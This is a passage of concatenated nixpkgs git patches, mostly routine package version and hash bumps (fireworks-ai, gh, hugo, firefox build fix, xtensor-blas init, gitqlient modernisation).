a/pkgs/development/python-modules/fireworks-ai/default.nix b/pkgs/development/python-modules/fireworks-ai/default.nix index acdbd3815c56..7006fbfddf3f 100644 --- a/pkgs/development/python-modules/fireworks-ai/default.nix +++ b/pkgs/development/python-modules/fireworks-ai/default.nix @@ -4,15 +4,26 @@ fetchPypi, # build-system - setuptools, - versioneer, + pdm-backend, + + # local dependencies + black, + mypy, # dependencies - httpx, - httpx-ws, + grpcio, + grpclib, httpx-sse, - pydantic, + httpx-ws, + httpx, + mmh3, + openai, pillow, + protobuf, + pydantic, + python-dateutil, + rich, + typing-extensions, # optional dependencies fastapi, @@ -25,29 +36,98 @@ tqdm, }: +let + asyncstdlib-fw = buildPythonPackage rec { + pname = "asyncstdlib_fw"; + version = "3.13.2"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-Ua0JTCBMWTbDBA84wy/W1UmzkcmA8h8foJW2X7aAah8="; + }; + + build-system = [ + pdm-backend + ]; + + dependencies = [ + black + mypy + ]; + + pythonImportsCheck = [ + "asyncstdlib" + ]; + }; + + betterproto-fw = buildPythonPackage rec { + pname = "betterproto_fw"; + version = "2.0.3"; + pyproject = true; + + src = fetchPypi { + inherit version pname; + hash = "sha256-ut5GchUiTygHhC2hj+gSWKCoVnZrrV8KIKFHTFzba5M="; + }; + + build-system = [ + pdm-backend + ]; + + dependencies = [ + grpclib + python-dateutil + typing-extensions + ]; + + pythonImportsCheck = [ + "betterproto" + ]; + + }; +in buildPythonPackage rec { pname = "fireworks-ai"; - version = "0.15.13"; + version = "0.17.16"; pyproject = true; # no source available src = fetchPypi { pname = "fireworks_ai"; inherit version; - hash = "sha256-ZZSF4R1HOYpNmKnL2OPWoUwdSJJ2j2e3+hzW0QH55io="; + hash = "sha256-WblcAaYjnzwPS4n5rixNHbHLNGTE3bTPXvQ9lYZ1f9A="; }; build-system = [ - setuptools - versioneer + pdm-backend + ]; + + pythonRelaxDeps = [ + "protobuf" ]; dependencies = [ + asyncstdlib-fw + betterproto-fw + grpcio + grpclib + httpx httpx - httpx-ws httpx-sse - pydantic + httpx-sse + httpx-ws + httpx-ws + mmh3 + openai pillow + pillow + protobuf + pydantic + pydantic + python-dateutil + rich + typing-extensions ]; optional-dependencies = { From b28a98e5f116a434dc9819f08ebb8e9598218f0a Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 21:49:06 +0000 Subject: [PATCH 239/390] python3Packages.awsiotsdk: 1.22.2 -> 1.23.0 --- pkgs/development/python-modules/awsiotsdk/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/development/python-modules/awsiotsdk/default.nix b/pkgs/development/python-modules/awsiotsdk/default.nix index f471a125350b..19757d7b5f2a 100644 --- a/pkgs/development/python-modules/awsiotsdk/default.nix +++ b/pkgs/development/python-modules/awsiotsdk/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "awsiotsdk"; - version = "1.22.2"; + version = "1.23.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "aws"; repo = "aws-iot-device-sdk-python-v2"; tag = "v${version}"; - hash = "sha256-vqx/OgQ/hgH6ULBI1I9+fD4CswQZDzfdNlhImbnQiKg="; + hash = "sha256-3WrmR6YV4j+itxj/NHFnGw4qoa12aKhqeekMALZ5kUo="; }; postPatch = '' @@ -49,7 +49,7 @@ buildPythonPackage rec { meta = { description = "Next generation AWS IoT Client SDK for Python using the AWS Common Runtime"; homepage = "https://github.com/aws/aws-iot-device-sdk-python-v2"; - changelog = "https://github.com/aws/aws-iot-device-sdk-python-v2/releases/tag/v${version}"; + changelog = "https://github.com/aws/aws-iot-device-sdk-python-v2/releases/tag/${src.tag}"; license = lib.licenses.asl20; maintainers = with lib.maintainers; [ fab ]; }; From d24bba6220abb8e5199ffb3024f79e4b6e69e666 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 22:02:11 +0000 Subject: [PATCH 240/390] zapzap: 6.0.1.8 -> 6.1 --- pkgs/by-name/za/zapzap/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/za/zapzap/package.nix b/pkgs/by-name/za/zapzap/package.nix index aaaf740314a7..3d68b11b4b1d 100644 --- a/pkgs/by-name/za/zapzap/package.nix +++ b/pkgs/by-name/za/zapzap/package.nix @@ -7,14 +7,14 @@ python3Packages.buildPythonApplication rec { pname = "zapzap"; - version = "6.0.1.8"; + version = "6.1"; format = "setuptools"; src = fetchFromGitHub { owner = "rafatosta"; repo = "zapzap"; tag = version; - hash = "sha256-JsBKss/E3YQ85YqDdw4slN7uMssZ4l5HgbXSZW1AIZM="; + hash = "sha256-g3J9oVIRiar0QoksRjJZsbvSKiFBILaUdSUscNs1VXE="; }; nativeBuildInputs = with python3Packages; [ From 42271f3d95ddd75ac76088dbae63e7f651939fb0 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 22:26:05 +0000 Subject: [PATCH 241/390] tana: 1.0.32 -> 1.0.36 --- pkgs/by-name/ta/tana/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ta/tana/package.nix b/pkgs/by-name/ta/tana/package.nix index 8a1e3fde0b85..4f8600066f06 100644 --- a/pkgs/by-name/ta/tana/package.nix +++ b/pkgs/by-name/ta/tana/package.nix @@ -62,7 +62,7 @@ let stdenv.cc.cc stdenv.cc.libc ]; - version = "1.0.32"; + version = "1.0.36"; in stdenv.mkDerivation { pname = "tana"; @@ -70,7 +70,7 @@ stdenv.mkDerivation { src = fetchurl { url = "https://github.com/tanainc/tana-desktop-releases/releases/download/v${version}/tana_${version}_amd64.deb"; - hash = "sha256-oAW9Vx4z0TOweKA6bsmCm7DY72pFWBnPLG0dS05oCw8="; + hash = "sha256-dDB2RcTk58IQGqNGepaIvxGhR0/soWWDbBXxnSEYkdw="; }; nativeBuildInputs = [ From bed3f503627c224c6999284f98efba17791721b8 Mon Sep 17 00:00:00 2001 From: Johan Herland Date: Wed, 18 Jun 2025 11:25:52 +0000 Subject: [PATCH 242/390] xtensor-blas: init at 0.22.0 --- pkgs/by-name/xt/xtensor-blas/package.nix | 54 ++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 pkgs/by-name/xt/xtensor-blas/package.nix diff --git a/pkgs/by-name/xt/xtensor-blas/package.nix b/pkgs/by-name/xt/xtensor-blas/package.nix new file mode 100644 index 000000000000..ef46533f776c --- /dev/null +++ b/pkgs/by-name/xt/xtensor-blas/package.nix @@ -0,0 +1,54 @@ +{ + lib, + stdenv, + fetchFromGitHub, + cmake, + gtest, + openblas, + xtensor, + xtl, +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "xtensor-blas"; + version = "0.22.0"; + + src = fetchFromGitHub { + owner = "xtensor-stack"; + repo = "xtensor-blas"; + tag = finalAttrs.version; + hash = "sha256-Lg6MjJbZUCMqv4eSiZQrLfJy/86RWQ9P85UfeIQJ6bk="; + }; + + nativeBuildInputs = [ cmake ]; + buildInputs = [ + xtensor + xtl + ]; + nativeCheckInputs = [ + gtest + openblas + ]; + + cmakeFlags = [ + (lib.cmakeBool "BUILD_TESTS" finalAttrs.finalPackage.doCheck) + ]; + + # Disable some failing tests + env.GTEST_FILTER = + "-" + + lib.concatStringsSep ":" [ + "xlapack.*" + "xlinalg.*" + "xtest_extended.*" + ]; + + doCheck = true; + + meta = { + description = "Extension to the xtensor library offering bindings to BLAS and LAPACK"; + homepage = "https://github.com/QuantStack/xtensor-blas"; + license = lib.licenses.bsd3; + maintainers = with lib.maintainers; [ jherland ]; + }; +}) From 794e7a17c13f6bdc0e06020949cd22e0ab433871 Mon Sep 17 00:00:00 2001 From: Sergei Trofimovich Date: Mon, 23 Jun 2025 21:33:00 +0100 Subject: [PATCH 243/390] gh: 2.74.1 -> 2.74.2 Changes: https://github.com/cli/cli/releases/tag/v2.74.2 --- pkgs/by-name/gh/gh/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/gh/gh/package.nix b/pkgs/by-name/gh/gh/package.nix index d82ec18516ca..4924933e0fe5 100644 --- a/pkgs/by-name/gh/gh/package.nix +++ b/pkgs/by-name/gh/gh/package.nix @@ -10,16 +10,16 @@ buildGoModule rec { pname = "gh"; - version = "2.74.1"; + version = "2.74.2"; src = fetchFromGitHub { owner = "cli"; repo = "cli"; tag = "v${version}"; - hash = "sha256-9Mc0AuwR9F7XU6yjIJ5Z7m7e0b3o7ZjpDdkTc6JMNnQ="; + hash = "sha256-6R5BU+snCkO0pwQalWG2cZ6PrfD8fVFXFqqJfVXRd8s="; }; - vendorHash = "sha256-S1s+Es7vOvyiPY7RJaMs6joy8QIZ1xY9mR6WvNIs0OY="; + vendorHash = "sha256-hliYyuA3gAzyHNwdGg1fygrKam6gNYC2qdvIIu5VOYM="; nativeBuildInputs = [ installShellFiles ]; From dbf79155e6046e7a80e6c37fe1551ad7cab669de Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 23:06:41 +0000 Subject: [PATCH 244/390] supermariowar: 2024-unstable-2025-04-03 -> 2024-unstable-2025-06-18 --- pkgs/by-name/su/supermariowar/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/su/supermariowar/package.nix b/pkgs/by-name/su/supermariowar/package.nix index d98c9d6f6909..507b94324f89 100644 --- a/pkgs/by-name/su/supermariowar/package.nix +++ b/pkgs/by-name/su/supermariowar/package.nix @@ -16,13 +16,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "supermariowar"; - version = "2024-unstable-2025-04-03"; + version = "2024-unstable-2025-06-18"; src = fetchFromGitHub { owner = "mmatyas"; repo = "supermariowar"; - rev = "c0ed774a2415ad45e72bd6086add2a5cbfc88898"; - hash = "sha256-vh8SSMxAOG8f9nyJmKUlA8yb+G61Bfc62dhB2eLdo20="; + rev = "71383b07b99a52b57be79cf371ab718337365019"; + hash = "sha256-PjweE8cGAp8V4LY0/6QzLekQ80Q1qbwDiiSzDirA29s="; fetchSubmodules = true; }; From e2908c536e25c722d2984ef4a3fd08bbb2c71df6 Mon Sep 17 00:00:00 2001 From: Ihar Hrachyshka Date: Mon, 23 Jun 2025 18:12:57 -0400 Subject: [PATCH 245/390] firefox-esr-128-unwrapped: fix build on darwin The patch fixes the following failure: Perma error[E0412]: cannot find type `_Allocator` in this scope Signed-off-by: Ihar Hrachyshka --- .../networking/browsers/firefox/common.nix | 6 +++++ .../firefox-cannot-find-type-Allocator.patch | 26 +++++++++++++++++++ 2 files changed, 32 insertions(+) create mode 100644 pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch diff --git a/pkgs/applications/networking/browsers/firefox/common.nix b/pkgs/applications/networking/browsers/firefox/common.nix index 3f21274f81a7..b51cc38cbc0d 100644 --- a/pkgs/applications/networking/browsers/firefox/common.nix +++ b/pkgs/applications/networking/browsers/firefox/common.nix @@ -328,6 +328,12 @@ buildStdenv.mkDerivation { # Fixed on Firefox 140 ./build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch ] + ++ lib.optionals (lib.versionOlder version "138") [ + # https://bugzilla.mozilla.org/show_bug.cgi?id=1941479 + # https://phabricator.services.mozilla.com/D240572 + # Fixed on Firefox 138 + ./firefox-cannot-find-type-Allocator.patch + ] ++ extraPatches; postPatch = diff --git a/pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch b/pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch new file mode 100644 index 000000000000..5ab5401e1c43 --- /dev/null +++ b/pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch @@ -0,0 +1,26 @@ +From 518049ce568d01413eeda304e8e9c341ab8849f6 Mon Sep 17 00:00:00 2001 +From: Mike Hommey +Date: Thu, 6 Mar 2025 09:36:10 +0000 +Subject: [PATCH] Bug 1941479 - Mark mozilla::SmallPointerArray_Element as + opaque. r=emilio + +Differential Revision: https://phabricator.services.mozilla.com/D240572 +--- + layout/style/ServoBindings.toml | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/layout/style/ServoBindings.toml b/layout/style/ServoBindings.toml +index 86c6c3026ce7..2b9a34a81a0f 100644 +--- a/layout/style/ServoBindings.toml ++++ b/layout/style/ServoBindings.toml +@@ -301,6 +301,7 @@ opaque-types = [ + "mozilla::dom::Touch", + "mozilla::dom::Sequence", + "mozilla::SmallPointerArray", ++ "mozilla::SmallPointerArray_Element", + "mozilla::dom::Optional", + "mozilla::dom::OwningNodeOrString_Value", + "mozilla::dom::Nullable", +-- +2.49.0 + From 0cde186e047281c5d84a1cf3897be181e9a378c7 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 00:30:15 +0000 Subject: [PATCH 246/390] guacamole-client: 1.5.5 -> 1.6.0 --- pkgs/by-name/gu/guacamole-client/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/gu/guacamole-client/package.nix b/pkgs/by-name/gu/guacamole-client/package.nix index 41af451583b3..e3d2ea9b51be 100644 --- a/pkgs/by-name/gu/guacamole-client/package.nix +++ b/pkgs/by-name/gu/guacamole-client/package.nix @@ -6,11 +6,11 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "guacamole-client"; - version = "1.5.5"; + version = "1.6.0"; src = fetchurl { url = "mirror://apache/guacamole/${finalAttrs.version}/binary/guacamole-${finalAttrs.version}.war"; - hash = "sha256-QmcwfzYAZjcj8kr5LVlumcg1lCUxUTUFKkLUUflSkgA="; + hash = "sha256-tBzrHi3wELVNtWPgsA7bjV/p8HPGFoRi5Ml43w/G5xY="; }; dontUnpack = true; From f4881e4427bd14a31b41427d122c278c79735f66 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 00:30:21 +0000 Subject: [PATCH 247/390] osslsigncode: 2.9 -> 2.10 --- pkgs/by-name/os/osslsigncode/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/os/osslsigncode/package.nix b/pkgs/by-name/os/osslsigncode/package.nix index 1193f2b0e02b..45644d0e7dc3 100644 --- a/pkgs/by-name/os/osslsigncode/package.nix +++ b/pkgs/by-name/os/osslsigncode/package.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation rec { pname = "osslsigncode"; - version = "2.9"; + version = "2.10"; src = fetchFromGitHub { owner = "mtrojnar"; repo = "osslsigncode"; rev = version; - sha256 = "sha256-ENMFhIVQhPL4FDW9Ne2YGR3sXjvW55NN1bErfr/kDZg="; + sha256 = "sha256-UjjNXcHpPbyUz5CPsW+uVhZP0X9XGM3//IVv9VhmP7o="; }; nativeBuildInputs = [ From 523612816bda21e78f190356459387d9d0a99e24 Mon Sep 17 00:00:00 2001 From: awwpotato Date: Mon, 23 Jun 2025 17:28:31 -0700 Subject: [PATCH 248/390] az-pim-cli: use versionCheckHook --- pkgs/by-name/az/az-pim-cli/package.nix | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/pkgs/by-name/az/az-pim-cli/package.nix b/pkgs/by-name/az/az-pim-cli/package.nix index e2c04b636524..c3322cfce14d 100644 --- a/pkgs/by-name/az/az-pim-cli/package.nix +++ b/pkgs/by-name/az/az-pim-cli/package.nix @@ -4,8 +4,9 @@ fetchFromGitHub, installShellFiles, stdenv, + versionCheckHook, + writableTmpDirAsHomeHook, nix-update-script, - testers, }: buildGoModule (finalAttrs: { pname = "az-pim-cli"; @@ -43,14 +44,15 @@ buildGoModule (finalAttrs: { --zsh <($out/bin/az-pim-cli completion zsh) ''; - passthru = { - updateScript = nix-update-script { }; - tests.version = testers.testVersion { - command = "HOME=$TMPDIR az-pim-cli version"; - package = finalAttrs.finalPackage; - version = "v${finalAttrs.version}"; - }; - }; + doInstallCheck = true; + nativeInstallCheckInputs = [ + writableTmpDirAsHomeHook + versionCheckHook + ]; + versionCheckProgramArg = "version"; + versionCheckKeepEnvironment = [ "HOME" ]; + + passthru.updateScript = nix-update-script { }; meta = { description = "List and activate Azure Entra ID Privileged Identity Management roles from the CLI"; From 40e9c371ebf917f4e0e2a06493d21a33b331376c Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 00:32:14 +0000 Subject: [PATCH 249/390] dms: 1.7.1 -> 1.7.2 --- pkgs/by-name/dm/dms/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/dm/dms/package.nix b/pkgs/by-name/dm/dms/package.nix index 2eb2ca2838d1..599dbc054c61 100644 --- a/pkgs/by-name/dm/dms/package.nix +++ b/pkgs/by-name/dm/dms/package.nix @@ -6,13 +6,13 @@ buildGoModule rec { pname = "dms"; - version = "1.7.1"; + version = "1.7.2"; src = fetchFromGitHub { owner = "anacrolix"; repo = "dms"; tag = "v${version}"; - hash = "sha256-dObY2MNrrQqn5i/y2LDlKvd9S04EArmsalIsfXsrth0="; + hash = "sha256-C1XcaPQp+T0scrCBsvqjJrmUR0N7mJOQC9Z2TxvtYc8="; }; vendorHash = "sha256-f6Jl78ZPLD7Oq4Bq8MBQpHEKnBvpyTWZ9qHa1fGOlgA="; From 80d6992a2dd653fe35b8e7a408e49b0e6956c533 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 00:49:28 +0000 Subject: [PATCH 250/390] wishlist: 0.15.1 -> 0.15.2 --- pkgs/by-name/wi/wishlist/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/wi/wishlist/package.nix b/pkgs/by-name/wi/wishlist/package.nix index 70e6459f27f1..3acb036d058d 100644 --- a/pkgs/by-name/wi/wishlist/package.nix +++ b/pkgs/by-name/wi/wishlist/package.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "wishlist"; - version = "0.15.1"; + version = "0.15.2"; src = fetchFromGitHub { owner = "charmbracelet"; repo = "wishlist"; rev = "v${version}"; - sha256 = "sha256-53fojA+gdvpSVNjx6QncH16F8/x+lpY5SkNs7obW2XQ="; + sha256 = "sha256-RulCoXPqfsZrxlDMTbyFNxqf/tdi26Ikq6wNUXCp86I="; }; - vendorHash = "sha256-VB515IK9ZJYC08EmShOPbLKU0fHZ16Dw+c5hiZ7mW8Q="; + vendorHash = "sha256-RPIxE1/ICchtCsIhShcJeUFfCWwzlCUfrY8yWfBeuHU="; doCheck = false; From e878307708630955e5f774caea9b24916adc9c06 Mon Sep 17 00:00:00 2001 From: awwpotato Date: Mon, 23 Jun 2025 18:15:26 -0700 Subject: [PATCH 251/390] gitqlient: modernize --- .../version-management/gitqlient/default.nix | 24 +++++++++---------- pkgs/top-level/all-packages.nix | 2 +- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/pkgs/applications/version-management/gitqlient/default.nix b/pkgs/applications/version-management/gitqlient/default.nix index f396dfeed177..2dd1b4973ad3 100644 --- a/pkgs/applications/version-management/gitqlient/default.nix +++ b/pkgs/applications/version-management/gitqlient/default.nix @@ -1,30 +1,30 @@ { lib, - mkDerivation, + stdenv, fetchFromGitHub, - qmake, - qtwebengine, + libsForQt5, gitUpdater, }: -mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "gitqlient"; version = "1.6.3"; src = fetchFromGitHub { owner = "francescmm"; repo = "gitqlient"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; fetchSubmodules = true; hash = "sha256-gfWky5KTSj+5FC++QIVTJbrDOYi/dirTzs6LvTnO74A="; }; nativeBuildInputs = [ - qmake + libsForQt5.qmake + libsForQt5.wrapQtAppsHook ]; buildInputs = [ - qtwebengine + libsForQt5.qtwebengine ]; qmakeFlags = [ @@ -35,12 +35,12 @@ mkDerivation rec { rev-prefix = "v"; }; - meta = with lib; { + meta = { homepage = "https://github.com/francescmm/GitQlient"; description = "Multi-platform Git client written with Qt"; - license = licenses.lgpl2Plus; - platforms = platforms.linux; - maintainers = with maintainers; [ romildo ]; + license = lib.licenses.lgpl2Plus; + platforms = lib.platforms.linux; + maintainers = with lib.maintainers; [ romildo ]; mainProgram = "gitqlient"; }; -} +}) diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix index e9917b580922..997ad375de49 100644 --- a/pkgs/top-level/all-packages.nix +++ b/pkgs/top-level/all-packages.nix @@ -3067,7 +3067,7 @@ with pkgs; gitlab-workhorse = callPackage ../by-name/gi/gitlab/gitlab-workhorse { }; - gitqlient = libsForQt5.callPackage ../applications/version-management/gitqlient { }; + gitqlient = callPackage ../applications/version-management/gitqlient { }; glogg = libsForQt5.callPackage ../tools/text/glogg { }; From 3b5c14a2c70c086effd0da24f7365924f8fbf2a4 Mon Sep 17 00:00:00 2001 From: awwpotato Date: Mon, 23 Jun 2025 18:16:25 -0700 Subject: [PATCH 252/390] gitqlient: move to by-name --- .../gitqlient/default.nix => by-name/gi/gitqlient/package.nix} | 0 pkgs/top-level/all-packages.nix | 2 -- 2 files changed, 2 deletions(-) rename pkgs/{applications/version-management/gitqlient/default.nix => by-name/gi/gitqlient/package.nix} (100%) diff --git a/pkgs/applications/version-management/gitqlient/default.nix b/pkgs/by-name/gi/gitqlient/package.nix similarity index 100% rename from pkgs/applications/version-management/gitqlient/default.nix rename to pkgs/by-name/gi/gitqlient/package.nix diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix index 997ad375de49..03fb17ebc456 100644 --- a/pkgs/top-level/all-packages.nix +++ b/pkgs/top-level/all-packages.nix @@ -3067,8 +3067,6 @@ with pkgs; gitlab-workhorse = callPackage ../by-name/gi/gitlab/gitlab-workhorse { }; - gitqlient = callPackage ../applications/version-management/gitqlient { }; - glogg = libsForQt5.callPackage ../tools/text/glogg { }; gmrender-resurrect = callPackage ../tools/networking/gmrender-resurrect { From 01733d53b09e5b0f1792ef5ecf49447985d72a30 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 02:02:50 +0000 Subject: [PATCH 253/390] rmpc: 0.8.0 -> 0.9.0 --- pkgs/by-name/rm/rmpc/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/rm/rmpc/package.nix b/pkgs/by-name/rm/rmpc/package.nix index f124d38c0dc7..5298469865eb 100644 --- a/pkgs/by-name/rm/rmpc/package.nix +++ b/pkgs/by-name/rm/rmpc/package.nix @@ -9,17 +9,17 @@ rustPlatform.buildRustPackage rec { pname = "rmpc"; - version = "0.8.0"; + version = "0.9.0"; src = fetchFromGitHub { owner = "mierak"; repo = "rmpc"; rev = "v${version}"; - hash = "sha256-RfYaWoVGdeE5y/hkRH+gZgnc0Hrp9V+Pttvjcu3Q14g="; + hash = "sha256-6hs0neoQf1h5IORJZp8R3ELLvYBXMr1iqc7ErSsGnUQ="; }; useFetchCargoVendor = true; - cargoHash = "sha256-m25lo7mufGS7m1QSnhYdXMaXfjdqtJ8hVLdbuRsxbKY="; + cargoHash = "sha256-xXH/MRQgT/Je/aOCZ26vdC3PtlosXLIrjbOHtnvf9os="; checkFlags = [ # Test currently broken, needs to be removed. See https://github.com/mierak/rmpc/issues/254 From b4e19ca085156fe33b24b49777813c8559b76794 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 02:03:19 +0000 Subject: [PATCH 254/390] runitor: 1.4.0 -> 1.4.1 --- pkgs/by-name/ru/runitor/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ru/runitor/package.nix b/pkgs/by-name/ru/runitor/package.nix index afcc7c661565..69459985a09d 100644 --- a/pkgs/by-name/ru/runitor/package.nix +++ b/pkgs/by-name/ru/runitor/package.nix @@ -8,14 +8,14 @@ buildGoModule rec { pname = "runitor"; - version = "1.4.0"; + version = "1.4.1"; vendorHash = "sha256-SYYAAtuWt/mTmZPBilYxf2uZ6OcgeTnobYiye47i8mI="; src = fetchFromGitHub { owner = "bdd"; repo = "runitor"; rev = "v${version}"; - sha256 = "sha256-eD8bJ34ZfTPToQrZ8kZGcSBdMmmCwRtuXgwZmz15O3s="; + sha256 = "sha256-y4wIfal8aiVD5ZoRF6GnYUGRssBLMOPSWa40+3OU4y0="; }; ldflags = [ From 52ded8363913f7b5467d115ac4e99ea0cab2e149 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 02:04:02 +0000 Subject: [PATCH 255/390] python3Packages.pyexploitdb: 0.2.85 -> 0.2.86 --- pkgs/development/python-modules/pyexploitdb/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/pyexploitdb/default.nix b/pkgs/development/python-modules/pyexploitdb/default.nix index d631cf59d4cf..f43219c27481 100644 --- a/pkgs/development/python-modules/pyexploitdb/default.nix +++ b/pkgs/development/python-modules/pyexploitdb/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "pyexploitdb"; - version = "0.2.85"; + version = "0.2.86"; pyproject = true; disabled = pythonOlder "3.7"; @@ -18,7 +18,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "pyExploitDb"; inherit version; - hash = "sha256-QVtF8r7AA/HYYA0Ex+YnUGskqjWNUzLxKJp9uZKKGng="; + hash = "sha256-4vnokNCHiPquSpXjLSFTTm4F1i7xyA4LQY7MY8Ip7G8="; }; build-system = [ setuptools ]; From 6795cd96c89ea21b81c46184a036ecb12a3a9543 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 02:06:33 +0000 Subject: [PATCH 256/390] srgn: 0.13.7 -> 0.14.0 --- pkgs/by-name/sr/srgn/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/sr/srgn/package.nix b/pkgs/by-name/sr/srgn/package.nix index 597e898dad86..65ca0f570bed 100644 --- a/pkgs/by-name/sr/srgn/package.nix +++ b/pkgs/by-name/sr/srgn/package.nix @@ -6,17 +6,17 @@ }: rustPlatform.buildRustPackage rec { pname = "srgn"; - version = "0.13.7"; + version = "0.14.0"; src = fetchFromGitHub { owner = "alexpovel"; repo = "srgn"; rev = "srgn-v${version}"; - hash = "sha256-JHO++d25UmYgTuSOvkZaF0rkab8B6XetHcoEchpLimk="; + hash = "sha256-ZWjpkClhac4VD4b/Veffb5FHGvh+oeTu3ukaOux6MG0="; }; useFetchCargoVendor = true; - cargoHash = "sha256-H0LBH8nd/uyFufrUWVyNZjn9AKJcAlsv3UVuXoM7ZGM="; + cargoHash = "sha256-d/wFD0kxWNOsYaY4G5P9iM85dSo0UZGSte5AqOosM2g="; nativeBuildInputs = [ installShellFiles ]; From 56bc6960a4e55e1cac8a8945574832fcf2157a12 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 02:28:49 +0000 Subject: [PATCH 257/390] zsh-wd: 0.10.0 -> 0.10.1 --- pkgs/by-name/zs/zsh-wd/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/zs/zsh-wd/package.nix b/pkgs/by-name/zs/zsh-wd/package.nix index e55aedc79ee2..1543f75de4b0 100644 --- a/pkgs/by-name/zs/zsh-wd/package.nix +++ b/pkgs/by-name/zs/zsh-wd/package.nix @@ -7,13 +7,13 @@ stdenvNoCC.mkDerivation rec { pname = "wd"; - version = "0.10.0"; + version = "0.10.1"; src = fetchFromGitHub { owner = "mfaerevaag"; repo = "wd"; rev = "v${version}"; - hash = "sha256-/xOe7XFzQt+qVGf6kfsOPPM8szWYhnmx5Mq/QIw0y1c="; + hash = "sha256-dlpkSKdWilNnz3dpRfN+EPx/vjIZpmZ/DMzeO9sh4z0="; }; nativeBuildInputs = [ installShellFiles ]; From f5d66c8b0668abfdfd96a0c2438844aabf63243d Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 02:56:20 +0000 Subject: [PATCH 258/390] hugo: 0.147.8 -> 0.147.9 --- pkgs/by-name/hu/hugo/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/hu/hugo/package.nix b/pkgs/by-name/hu/hugo/package.nix index 9519bb06008b..7e5fcefabac6 100644 --- a/pkgs/by-name/hu/hugo/package.nix +++ b/pkgs/by-name/hu/hugo/package.nix @@ -11,16 +11,16 @@ buildGoModule (finalAttrs: { pname = "hugo"; - version = "0.147.8"; + version = "0.147.9"; src = fetchFromGitHub { owner = "gohugoio"; repo = "hugo"; tag = "v${finalAttrs.version}"; - hash = "sha256-h8fgV6fWhYrqbG/FPGCPYDnQshz1L8ulxPon+Xnw4lY="; + hash = "sha256-rTEtllENG33jAAgROjQrOjd4FKpe8uYAi3VLMII71SM="; }; - vendorHash = "sha256-VHql1iznNp2qL+qA+M1tSKCf823qozWW8PSyHihFU8A="; + vendorHash = "sha256-lSTSzQFR1JpGb8iYWyL/UM0W/AmFvFAcvi3+pJAJOws="; checkFlags = let From 31cffc1edde308f007c83e8d3bf733253d4f87e4 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 03:05:52 +0000 Subject: [PATCH 259/390] python3Packages.wcmatch: 10.0 -> 10.1 --- pkgs/development/python-modules/wcmatch/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/wcmatch/default.nix 